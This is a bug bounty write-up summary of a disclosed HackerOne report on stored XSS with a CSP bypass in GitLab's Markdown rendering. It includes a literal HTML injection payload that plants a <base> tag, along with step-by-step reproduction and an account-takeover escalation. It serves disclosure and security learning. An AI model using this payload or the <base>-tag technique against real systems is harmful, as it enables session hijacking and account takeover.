# Stored XSS in Notes (with CSP bypass for gitlab.com)

HTML injection via Banzai syntax_highlight_filter lets attacker inject a <base> tag in Markdown, hijacking relative script loads to achieve stored XSS on gitlab.com despite CSP.

- Payout: hidden
- Severity: high
- Program: GitLab
- Found by: joaxcar
- Disclosed: 2022-05-25
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1481207
- Library page: https://bugbountylibrary.com/r/h1%3A1481207
- Tags: area:web domain:web impact:ato impact:integrity kind:bounty platform:hackerone sev:high tech:ruby technique:incomplete-fix technique:source-review vuln:misconfiguration vuln:xss

**Target:** GitLab Markdown rendering (Banzai syntax_highlight_filter) on issues/wiki
**Root cause:** The syntax_highlight_filter allows HTML injection in Markdown; the prior fix only patched the Emoji vector, leaving other tags like <base> injectable, which redirects relative script URLs to an attacker domain.
**Steps:**
1. Log in to gitlab.com and open/create a project.
2. Create a new issue with description: `<pre data-sourcepos=""%22 href="x"></pre>` `<base href=https://joaxcar.com>` `<pre x="">` `<code></code></pre>`.
3. Save the issue and open DevTools to observe failing relative script imports (e.g. `/assets/webpack/hello.4948f350.chunk.js`).
4. Host that exact script path on attacker domain with `alert(document.domain)`.
5. Reload the page; the nonce-bearing script tag now loads from attacker domain and executes.
**How found:** Read the fix for HackerOne report 1398305 (issue 345657) and noticed it patched the Emoji vector but left the underlying HTML injection in syntax_highlight_filter. Tested other tags; found <base> was not blocked by CSP, then enumerated failing relative script loads via DevTools.
**Exploitation:** Attacker injects a <base href> tag into any Markdown field (issue description, wiki). All relative script URLs on the page resolve to the attacker's domain. Because the script tags retain their CSP nonce, the attacker-hosted JS executes, yielding stored XSS that can mint tokens and take over SSO accounts.
**Escalation:** Stored XSS enables token creation and SSO account takeover, as previously demonstrated by the researcher.
**Insight:** When a fix patches one sink (Emoji) but not the underlying injection primitive, enumerate other HTML tags that survive the sanitizer. <base> is a CSP bypass enabler because it retargets relative script srcs that already carry valid nonces.
